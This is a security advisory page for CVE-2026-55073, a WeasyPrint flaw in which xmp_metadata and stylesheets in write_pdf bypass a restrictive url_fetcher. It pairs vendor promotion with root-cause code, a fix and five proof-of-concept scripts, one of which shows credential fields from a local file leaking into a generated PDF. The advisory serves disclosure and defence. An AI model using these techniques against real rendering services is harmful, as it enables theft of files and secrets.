CVE-2026-55073
MEDIUMCVE-2026-55073 is a medium-severity (CVSS 6.2) vulnerability in weasyprint. O3 Security confirms whether CVE-2026-55073 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
weasyprint Has Server-Side Request Forgery (SSRF)
Real-World Exposure
weasyprintReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
xmp_metadata=[url]- the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path]- the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole@import/url()graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
...
if url_fetcher is None:
url_fetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet>inweasyprint/css/__init__.py<style>inweasyprint/css/__init__.py@importinweasyprint/css/__init__.py@font-face/local()inweasyprint/text/fonts.py@color-profile srcinweasyprint/css/__init__.py- images (
<img>, CSSurl(), SVG) inweasyprint/images.py
Two do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...])inweasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str])inweasyprint/document.py
xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:
if options['xmp_metadata']:
for url in options['xmp_metadata']:
result = select_source(url) # no url_fetcher
stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():
for css in options['stylesheets'] or []:
if not hasattr(css, 'matcher'):
css = CSS( # no url_fetcher=html.url_fetcher
guess=css, media_type=html.media_type,
font_config=font_config, counter_style=counter_style,
color_profiles=color_profiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True
(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True
# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True
3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True
4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True
An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> False
Suggested fix
Route both call sites through the document's url_fetcher, matching the five sites that already do this.
pdf/__init__.py-select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrictxmp_metadatato byte strings so no URL fetching occurs.)document.py-CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | weasyprint | all versions | 70.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for weasyprint. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update weasyprint to 70.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55073 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55073 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55073. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55073 in your dependencies?
O3 detects CVE-2026-55073 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.